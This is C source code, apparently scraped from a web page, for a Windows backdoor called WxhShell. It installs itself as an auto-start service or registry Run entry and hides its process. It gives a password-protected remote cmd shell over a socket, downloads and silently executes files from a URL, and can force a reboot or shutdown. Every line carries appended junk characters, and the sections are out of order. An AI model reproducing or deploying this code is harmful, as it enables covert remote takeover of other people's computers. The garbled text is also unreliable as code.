    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r[>4b}4s  
    if(Boot(SHUTDOWN)) KUs\7Sb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3KFw0(S/  
    else { QJ{to%  
    closesocket(wsh); 1T(:bM_t`7  
    ExitThread(0); Wez"E2J`  
    } ?M'_L']N[  
    break; ^+Ho#]  
    } W\xM$#)m  
  // 获取shell ,VK! 3$;|  
  case 's': { Ul@ Jg    
    CmdShell(wsh); '\yp}r'u  
    closesocket(wsh); P e_mX*0  
    ExitThread(0); ]^9B%t s9  
    break; {oIv%U9  
  } )U4h?J  
  // 退出 %si5cc?  
  case 'x': { +[l52p@a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V. sIiE  
    CloseIt(wsh); ~I^}'^Dbb  
    break; 1 o5DQ'~n  
    } 6n9;t\'Gt  
  // 离开 ;DWtCtD  
  case 'q': { Yv0;UKd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qkX}pQkG)h  
    closesocket(wsh); DtBIDU]  
    WSACleanup(); }q0lbwYlb  
    exit(1); yP:/F|E$  
    break; 7/*a  
        } slSQ\;CDA  
  } Qg]8~^ Q<  
  } UPtWj8h  
xgl~4  
  // 提示信息 wFr}]<=Mi  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,>-Q#  
} Zkn$D:  
  } I{Pny/d`  
/rRQ*m_  
  return; b}P5*}$:9"  
} -OLXRc=  
5fGUJ[F=  
// shell模块句柄 \VW&z:/*pZ  
int CmdShell(SOCKET sock) .:eNL]2%:  
{ Mp;yvatO  
STARTUPINFO si; .BLF7> M1  
ZeroMemory(&si,sizeof(si)); fneg[K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :v/6k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ![H!Y W'  
PROCESS_INFORMATION ProcessInfo; {,r7dxI)`  
char cmdline[]="cmd"; mi~ BdBv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 79J@`  
  return 0; 0(9]m)e  
} N7lWeF  
yKR0]6ahA  
// 自身启动模式 ;9cBlthh  
int StartFromService(void) u*R9x3&/5  
{ t(SSrM]  
typedef struct ;d17xu?ks  
{ 6MC*2}W  
  DWORD ExitStatus; ag6hhkj A  
  DWORD PebBaseAddress; ~;/\l=Xl  
  DWORD AffinityMask; {.7ve<K  
  DWORD BasePriority; Ln;jB&t  
  ULONG UniqueProcessId; g*9jPwdG  
  ULONG InheritedFromUniqueProcessId; $"Oy }  
}   PROCESS_BASIC_INFORMATION; ;]<{ <czc  
B!jINOg  
PROCNTQSIP NtQueryInformationProcess; [ e4)"A"  
!x9j~D'C`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9g" 1WZ!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &dSw[C#f  
@Yua%n6]#D  
  HANDLE             hProcess; HLMEB0zh^  
  PROCESS_BASIC_INFORMATION pbi; c`UJI$Q/  
1XZ|}Xz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]Y[8|HJ8  
  if(NULL == hInst ) return 0; v2<roG6.V  
^ K8JE,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _`!@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Fjc+{;x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \6B,\l]$t@  
e=t?mDh#E  
  if (!NtQueryInformationProcess) return 0; C~M~2@Iori  
AR\?bB~`c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LX<c(i  
  if(!hProcess) return 0; M%7H-^{  
g0.D36  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YBgHX [q  
s(7'*`G"h  
  CloseHandle(hProcess); Fz+0h"  
;K?fAspSH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U5mec167  
if(hProcess==NULL) return 0; ?V_Qa0k  
:)nn/[>fC  
HMODULE hMod; WG 9f>kE  
char procName[255]; to Ei4u)m  
unsigned long cbNeeded; (^g?/i1@d  
!x.^ya  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7p}G!]`  
$ 1(u.Ud  
  CloseHandle(hProcess); 9d2#=IJm  
78tWzO  
if(strstr(procName,"services")) return 1; // 以服务启动 `4s5yNUi=  
MBCA%3z08  
  return 0; // 注册表启动 mQ#@"9l%  
} 3nBbPP_  
ww"ihUX  
// 主模块 *qg9~/  
int StartWxhshell(LPSTR lpCmdLine) /qF7^9LtaY  
{ xM%E;  
  SOCKET wsl; ( 5 d ~0  
BOOL val=TRUE; lwLK#_5u  
  int port=0; R~b9)  
  struct sockaddr_in door; B$7m@|p!  
bxP>  
  if(wscfg.ws_autoins) Install(); @1P1n8mH]  
bIizh8d?  
port=atoi(lpCmdLine); G*BM'^0+  
e#k9}n^+  
if(port<=0) port=wscfg.ws_port; <9bQAyL9  
c>K/f7  
  WSADATA data; Xj$J}A@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |aN0|O2  
fD q, )~D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   fRT:@lV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bi!4I<E>k  
  door.sin_family = AF_INET; <Q=ES,M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^e8R 43w:!  
  door.sin_port = htons(port); 5h[u2&;G  
P<kTjG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZP?k|sEH  
closesocket(wsl); 0[D5]mcv  
return 1; ;JFE7\-mC  
} ?9X#{p>q  
>4\V/ I  
  if(listen(wsl,2) == INVALID_SOCKET) { l{#m"S7J^  
closesocket(wsl); iCN@G&rVw  
return 1; GMU<$x8o  
} *cp|lW!ag  
  Wxhshell(wsl); #2DH_P  
  WSACleanup(); z/fRd6|[  
@.*[CC;&  
return 0; Nl_!%k:  
qx{.`AaZW  
} ,@='.Qs4g  
8<P$E!  
// 以NT服务方式启动 2xe_Q70II  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kVU|k-?2  
{ OJ UM Y<5  
DWORD   status = 0; LO.4sO  
  DWORD   specificError = 0xfffffff; zx-+u7qKH  
:G^`LyOM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ENC_#- 1x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R)cns7oW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F.A<e #e?  
  serviceStatus.dwWin32ExitCode     = 0; ^&&dO*0{  
  serviceStatus.dwServiceSpecificExitCode = 0; g) v"nNS  
  serviceStatus.dwCheckPoint       = 0; O%o#CBf0  
  serviceStatus.dwWaitHint       = 0; NG'VlT  
ErESk"2t  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); EFql g9bK  
  if (hServiceStatusHandle==0) return; ?xQ lX%&`6  
77i |a]Kd  
status = GetLastError(); no?)GQ  
  if (status!=NO_ERROR) p w>A Q  
{ zp4ru\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?%Y?z ]L#  
    serviceStatus.dwCheckPoint       = 0; 42 p6l   
    serviceStatus.dwWaitHint       = 0; ~n[LL)v  
    serviceStatus.dwWin32ExitCode     = status; 7gVWu"  
    serviceStatus.dwServiceSpecificExitCode = specificError; )SA$hwR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c;U\nC<Y  
    return; Qb|w\xT^Y  
  } $:u,6|QsS=  
2Fx<QRz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 18[f_0@ #  
  serviceStatus.dwCheckPoint       = 0; f=K1ZD  
  serviceStatus.dwWaitHint       = 0; X8Sk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); MruWt*  
} WKah$l  
nNhN:?  
// 处理NT服务事件,比如:启动、停止 Z$zUy|s[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \)M 5o  
{ Y sr{1!K  
switch(fdwControl) p~8~EQFj  
{ X3W)c&Pr  
case SERVICE_CONTROL_STOP: (la<X <w  
  serviceStatus.dwWin32ExitCode = 0; hsqUiB tc6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~7 `x9MUc  
  serviceStatus.dwCheckPoint   = 0; {6%uNT>|  
  serviceStatus.dwWaitHint     = 0; >t D-kzN  
  { ,o9)ohw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J~_p2TZJ\3  
  } J.<eX=<  
  return; l*v([@A\  
case SERVICE_CONTROL_PAUSE: =rBFMTllM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7Ck;LF}>0  
  break; }2NH>qvY  
case SERVICE_CONTROL_CONTINUE: =fsaJ@q ,R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d:pp,N~2o  
  break; h.?[1hT4R  
case SERVICE_CONTROL_INTERROGATE: "L8V!M_e  
  break; awkVjyqX  
}; izC>-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LpmspIPvf  
} LV]\{'  
mSj[t   
// 标准应用程序主函数 mr('zpkRq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pRU6jV 6e)  
{ 8W$="s2  
Q ,;x;QR4  
// 获取操作系统版本 N\uQ-XOi  
OsIsNt=GetOsVer(); ~HYP:6f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rqF PUp  
\s+MHa&  
  // 从命令行安装 ?ft_  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~zm/n,Epb  
]~K&mNo  
  // 下载执行文件 %eV`};9  
if(wscfg.ws_downexe) { !8L Ql}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JxLH]1b  
  WinExec(wscfg.ws_filenam,SW_HIDE); XS!ZTb>[  
} 6pLwwZD  
3FXMM&w  
if(!OsIsNt) { gx6&'${=#  
// 如果时win9x,隐藏进程并且设置为注册表启动 8uT6QCf  
HideProc(); .|aSGv E  
StartWxhshell(lpCmdLine); aDOH3Ri0K!  
} 1|nB\xgu  
else E{fnh50^Q.  
  if(StartFromService()) O ,>&w5   
  // 以服务方式启动 ks r5P~  
  StartServiceCtrlDispatcher(DispatchTable); #!5Nbe  
else e`~q ;?:  
  // 普通方式启动 7S1!|*/ I  
  StartWxhshell(lpCmdLine); kyjH~mK4  
yBe/UFp+  
return 0; _bd#C   
} b@X@5SJFW  
YpKai3 B  
d#d~t[=  
ib&qH_r/  
=========================================== xaS  
v'>Yc#VJ  
E, v1F!  
p!a%*LfND  
xsTxc&0^  
As\5Ze9|  
" AO]lXa  
 ~Afs  
#include <stdio.h> 3> (`Y  
#include <string.h> 9@1W=sl  
#include <windows.h> Orb(xLChJ  
#include <winsock2.h> kp6x6%{K\  
#include <winsvc.h> M[{Cy[ta  
#include <urlmon.h> 7_3O]e[8  
lET)<V(Y  
#pragma comment (lib, "Ws2_32.lib") Tk!b`9  
#pragma comment (lib, "urlmon.lib") }dHiW:J>  
u#,]>;  
#define MAX_USER   100 // 最大客户端连接数 4bBxZY  
#define BUF_SOCK   200 // sock buffer >'jM8=o*Ax  
#define KEY_BUFF   255 // 输入 buffer Yo(B8}?0!  
i\ Vpp8<B  
#define REBOOT     0   // 重启 NN:TT\!v  
#define SHUTDOWN   1   // 关机 ;MMFF{  
</=PN1=A  
#define DEF_PORT   5000 // 监听端口 RnrM rOh  
j<KC$[Kt  
#define REG_LEN     16   // 注册表键长度 vj b?N  
#define SVC_LEN     80   // NT服务名长度 1P[Lz!C  
iN*>Z(b"  
// 从dll定义API Vj]kJ,j\y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uUe\[-~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3k<#;(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [GP( r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [o.zar82  
C|I 1 m  
// wxhshell配置信息 s z\RmX  
struct WSCFG { 16>uD;G  
  int ws_port;         // 监听端口 vf =  
  char ws_passstr[REG_LEN]; // 口令 XZInu5(  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2T5xSpC  
  char ws_regname[REG_LEN]; // 注册表键名 +i^s\c!3;  
  char ws_svcname[REG_LEN]; // 服务名 f3N:MH-c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 BQU5[8l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .+Ej%|l%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Tpukz_F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /wTf&_"mTL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r$F]e]Ic\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;SW-dfo2i  
pt R  
}; ;Kf|a}m-  
%RN-J*s]  
// default Wxhshell configuration ay_D.gxz  
struct WSCFG wscfg={DEF_PORT, #H[ 4?4r  
    "xuhuanlingzhe", _PM<25Y,@  
    1, nnG2z@$-  
    "Wxhshell", ?6QJP|kE  
    "Wxhshell", !Ia"pNDf  
            "WxhShell Service", %D r?.e  
    "Wrsky Windows CmdShell Service", +V@=G &Ou0  
    "Please Input Your Password: ", ~Z]vr6?$h  
  1, VTWE-:r  
  "http://www.wrsky.com/wxhshell.exe", `0i3"06lr  
  "Wxhshell.exe" )DmiN^:  
    }; B@]7eVo  
lX*;KHT)  
// 消息定义模块 swlWe}1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,}tdfkZFYl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; o"FiM5L^.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Xa@wN/"F  
char *msg_ws_ext="\n\rExit."; (UF!Zb]{  
char *msg_ws_end="\n\rQuit."; skz]@{38  
char *msg_ws_boot="\n\rReboot..."; F}]_/cY7B  
char *msg_ws_poff="\n\rShutdown..."; Q: O>kCDV  
char *msg_ws_down="\n\rSave to "; RfBb{?PP)  
|y% ].y)  
char *msg_ws_err="\n\rErr!"; ~TH5>``;gF  
char *msg_ws_ok="\n\rOK!"; LJwMM  
M0SH-0T;Z  
char ExeFile[MAX_PATH]; pV6HQ:y1  
int nUser = 0; 4w( vRe  
HANDLE handles[MAX_USER]; IxZ.2 67  
int OsIsNt; @;fE%N  
~5NGDT#L*  
SERVICE_STATUS       serviceStatus; DOVX$N$3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D:E~yh)$-  
LUNs|\&  
// 函数声明 Wi?%)hur  
int Install(void); DME?kh>7  
int Uninstall(void); X-1Vp_(,TP  
int DownloadFile(char *sURL, SOCKET wsh); Z9&D'n)  
int Boot(int flag); c@-K  
void HideProc(void); Zd U{`>v  
int GetOsVer(void); 1Wk EPj,  
int Wxhshell(SOCKET wsl); \83A|+k  
void TalkWithClient(void *cs); g/,Bx!'8p  
int CmdShell(SOCKET sock); oqba:y;AR  
int StartFromService(void); ms7 7{A3  
int StartWxhshell(LPSTR lpCmdLine); %^=!s  
ocqB-C]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1[BvHOI2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g>xUS_d>  
'$XHRS/q]  
// 数据结构和表定义 R.H\b!  
SERVICE_TABLE_ENTRY DispatchTable[] = *+j{9LK  
{ 2A}uqaF  
{wscfg.ws_svcname, NTServiceMain}, /iy*3P,`  
{NULL, NULL} c^Jgr(Ow  
}; 0@K:Tq-mF  
Ig3(|{R  
// 自我安装 g]<Z]R`  
int Install(void) OgN1{vRFx  
{ )H9*NB8%  
  char svExeFile[MAX_PATH]; (oitCIV  
  HKEY key; G>,nZ/,A{  
  strcpy(svExeFile,ExeFile); %lJiM`a  
6 2`PK+  
// 如果是win9x系统,修改注册表设为自启动 NWHH.1|  
if(!OsIsNt) { < }wAP_y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]cqZ!4?_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z|]oM#Gt  
  RegCloseKey(key); //M4Sq(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :aq>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /QXs-T}d  
  RegCloseKey(key); pR6A#DgB  
  return 0; '}+X,Usm  
    } LAY)">*49H  
  } Flujwh@rg  
} k,R~oSA'n  
else { 9LEilmPs  
id tQXwa  
// 如果是NT以上系统,安装为系统服务 te*Y]-&I|/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <,pLW~2-"  
if (schSCManager!=0) C6'*/wq  
{ o`K^Wy~+k#  
  SC_HANDLE schService = CreateService 6eUiI@J  
  ( kE_@5t7O{  
  schSCManager, HS`bto0*  
  wscfg.ws_svcname, Gr#rM/AfCK  
  wscfg.ws_svcdisp, ZC5Yve8  
  SERVICE_ALL_ACCESS, ^s@*ISY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :uwRuPI  
  SERVICE_AUTO_START, ju^"vw  
  SERVICE_ERROR_NORMAL, 5Vqmv<F;$Z  
  svExeFile, *[xNp[4EU  
  NULL, ;WS7.  
  NULL, [ lzy &To  
  NULL, (>LHj]}K  
  NULL, sMfFm@\N  
  NULL @b!R2Yq  
  ); "dK|]w8  
  if (schService!=0) y/}VtD  
  { c_z/At;4  
  CloseServiceHandle(schService); L_gsG|xX  
  CloseServiceHandle(schSCManager); aC,vh1")F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); < k+fKl  
  strcat(svExeFile,wscfg.ws_svcname); e.}3OK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { LD~Jbq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `F2*o47|t  
  RegCloseKey(key); 3_oD[ ])A  
  return 0; {"0TO|%x  
    } B)DC,+@$  
  } Jl> at  
  CloseServiceHandle(schSCManager); D){"fw+b  
} )pS_+ZF  
} V^ fGRA  
{FJX  
return 1; M8?#%x6;N  
} iVq#aXN  
{wp Mg  
// 自我卸载 g8+4$2`ny  
int Uninstall(void) _PyW=Tj  
{ T`g?)/  
  HKEY key; Lf; ta  
 &6\r  
if(!OsIsNt) {  UL)"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8)W?la8'p  
  RegDeleteValue(key,wscfg.ws_regname); V<HOSB7  
  RegCloseKey(key); AU\xNF3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TRk ?8  
  RegDeleteValue(key,wscfg.ws_regname); co<2e#p;  
  RegCloseKey(key); o0aO0Y  
  return 0; *X=@yB*aK  
  } L,L ~ .E  
} )4!CR/ao  
} 0H OoKh  
else { Ko$ $dkSE  
*h*j%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C,|nmlDN  
if (schSCManager!=0) yhSk"e'G  
{ _@#uIOcE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _OJ0 < {E  
  if (schService!=0) '<?v:pb9  
  { ]^*_F  
  if(DeleteService(schService)!=0) { QH7V_#6bKP  
  CloseServiceHandle(schService); Jb3>vCIn  
  CloseServiceHandle(schSCManager); 9<t9a f\.>  
  return 0; J|gdO+  
  } Ei{(  
  CloseServiceHandle(schService); a%Z4_ToLZ  
  } IS,zy+w  
  CloseServiceHandle(schSCManager); DnNt@e2|  
} Hi; K"H]x1  
} OX)#F'Sl}  
N+\oFbE  
return 1; L,C? gd@"  
} xta}4:d-Y  
X+dR<GN+YX  
// 从指定url下载文件 ;g: UE  
int DownloadFile(char *sURL, SOCKET wsh) 'A@qg^e:`  
{ <[Tq7cO0  
  HRESULT hr; P9 {}&z%:  
char seps[]= "/"; Vqa5RVnI  
char *token; pBSq%Hy:  
char *file; BKE\SWu  
char myURL[MAX_PATH]; ~rgf{oGz  
char myFILE[MAX_PATH]; WZ^{zFoZ  
Y|%anTP  
strcpy(myURL,sURL); mP9cBLz  
  token=strtok(myURL,seps); q Z8|B  
  while(token!=NULL) G0I~&?nDa  
  { TJHN/Z/  
    file=token; a&$Zpf!!  
  token=strtok(NULL,seps); =@xN(] (  
  } J 6(~>g  
&K5C=]4  
GetCurrentDirectory(MAX_PATH,myFILE); Y%78>-2 L  
strcat(myFILE, "\\"); y 2z{rd  
strcat(myFILE, file); qpb/g6g  
  send(wsh,myFILE,strlen(myFILE),0); cm@jt\D  
send(wsh,"...",3,0); i{TIm}_\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bK ?1MiXb  
  if(hr==S_OK) Y brx%  
return 0; 1YJ_1VJ  
else GXT]K>LA  
return 1; |. J,8~x  
|7svA<<[  
} BCBEX&0hk{  
X|X4L(i  
// 系统电源模块 +dqk 6RE  
int Boot(int flag) p//T7r s  
{ a$C2}  
  HANDLE hToken; Ho|o,XvLv  
  TOKEN_PRIVILEGES tkp; N7e`6d!  
<\ y!3;  
  if(OsIsNt) { k0H?9Z4k5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NFB *1_m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;M}itM  
    tkp.PrivilegeCount = 1; b->eg 8|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1pd 9s8CA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ooTc/QEYi  
if(flag==REBOOT) { #,@bxsB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *-?Wcz  
  return 0; 3.Ji5~  
} Oq*n9V  
else { 7#~4{rjg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |w=Ec#)t4  
  return 0; S-isL4D.Z  
} gzVtxDh  
  } 6D/uo$1Y  
  else { 1)$%Jr  
if(flag==REBOOT) { Kb^>X{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ki\B!<uv  
  return 0; TG1P=g5h  
} Ba/RO36&c  
else { ,%A)"doaG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bRWIDPh  
  return 0; 8V6=i'GK  
} A[RHw<  
} GHv{   
Vd,'  s  
return 1; 7e1dEgn  
} z<a$q3!#  
'z)hG#{I  
// win9x进程隐藏模块 LyGUvi  
void HideProc(void) yC W*fIaq  
{ ITVQLQ  
z(+&wa  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T_eJ}(p  
  if ( hKernel != NULL ) VLiIO"u;  
  { 9*4 .  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *dN N<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q^5yk=2fq  
    FreeLibrary(hKernel); X` ATH^S  
  } uaiz*Im  
<x0)7xX  
return; @!e~G'j%VD  
} O]t\B *%}  
%Ys$@dB  
// 获取操作系统版本 b 8>q;  
int GetOsVer(void) 5Q`RTn%  
{ im8 -7Xt  
  OSVERSIONINFO winfo; m d?b*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z(p*Z,?u  
  GetVersionEx(&winfo); {|z#70  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3 -tO;GKb  
  return 1; |8bE9qt.P  
  else lK*jhW?3:  
  return 0; kQLT$8io  
} [9OSpq  
Dzr e'  
// 客户端句柄模块 !n eo\  
int Wxhshell(SOCKET wsl) UgR :qjI  
{ _5b0wdB  
  SOCKET wsh; q]TqI' o  
  struct sockaddr_in client; bw9 nB{C<  
  DWORD myID; ]BfS270  
vs +QbI6>-  
  while(nUser<MAX_USER) -j&Vtr  
{ .Rvf/-e  
  int nSize=sizeof(client); }S */b1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c_#*mA"+  
  if(wsh==INVALID_SOCKET) return 1; Rv<L#!; t  
^2E hlK^)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }%$OU =T  
if(handles[nUser]==0) ?KB@Zm+#~  
  closesocket(wsh); =p q:m  
else DVh)w}v  
  nUser++; <4c%Q)  
  } pA.._8(t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qp>N^)>  
-(9O6)Rs$  
  return 0; 7Lg7ei2mN7  
} } Gr&w-v  
n?:2.S.8  
// 关闭 socket ]v\^&7pW  
void CloseIt(SOCKET wsh) ;'}'5nO=$  
{ !" E-\cc'  
closesocket(wsh); mw4JQ\  
nUser--; -w]/7cH  
ExitThread(0); P$ucL~r  
} O#EqG.L5  
 <B )   
// 客户端请求句柄 :3^dF}>  
void TalkWithClient(void *cs) p x#suy  
{ W pN.]x  
& fu z2xv  
  SOCKET wsh=(SOCKET)cs; 9 Kbw GmSU  
  char pwd[SVC_LEN]; k][h9'  
  char cmd[KEY_BUFF]; 2Lfah?Tx~C  
char chr[1]; fQU{SjG  
int i,j; tuxRVV8l  
NEV p8)w  
  while (nUser < MAX_USER) { s?c JV `  
5/?P|T   
if(wscfg.ws_passstr) { @ 7W?8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,?(ciO)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `\N]wlB2/b  
  //ZeroMemory(pwd,KEY_BUFF); Jf_%<\ O  
      i=0; <bUXC@3W  
  while(i<SVC_LEN) { @?Zf-.  
q@l(Qol  
  // 设置超时 m[:K"lZ ]2  
  fd_set FdRead; ]-:6T0JuS  
  struct timeval TimeOut; w2OsLi Sv  
  FD_ZERO(&FdRead); Od{jt7<j#  
  FD_SET(wsh,&FdRead); u,o1{% O  
  TimeOut.tv_sec=8; _ie.|4k  
  TimeOut.tv_usec=0; *5D3vB*S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xE1'&!4O  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ZzcPiTSO  
n@ [  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AnMV <  
  pwd=chr[0]; ".P){Dep$4  
  if(chr[0]==0xd || chr[0]==0xa) { kRlA4h1u_$  
  pwd=0; ,lm=M 5b  
  break; Z\ )C_p\-  
  } %;|0  
  i++; !^WHZv4  
    } S^N {wZo  
:(, mL2[  
  // 如果是非法用户,关闭 socket fu4!t31  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <a|@t@R  
} 8lP6-VA  
L:@fP~Erh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }y6q\#G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G1d(,4Xp  
bL1m'^r  
while(1) { VagT_D  
66\jV6eH7L  
  ZeroMemory(cmd,KEY_BUFF); A@$kLex  
Y#HI;Y^RP  
      // 自动支持客户端 telnet标准   6B6vP%H#  
  j=0; |PP.<ce\-  
  while(j<KEY_BUFF) { VkZ.6kV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |=K_F3aJ  
  cmd[j]=chr[0]; "2{%JFE  
  if(chr[0]==0xa || chr[0]==0xd) { I ~$1Lu`~  
  cmd[j]=0; VhEka#  
  break; gzdG6"  
  } h<x4YB5Mj  
  j++; wC CV2tk  
    } u0 y 1  
2@khSWV  
  // 下载文件 mL yBm  
  if(strstr(cmd,"http://")) { i9A~<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )9L/sKz  
  if(DownloadFile(cmd,wsh)) 2k5/SV X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $yu?.b 9H#  
  else ub K7B |p  
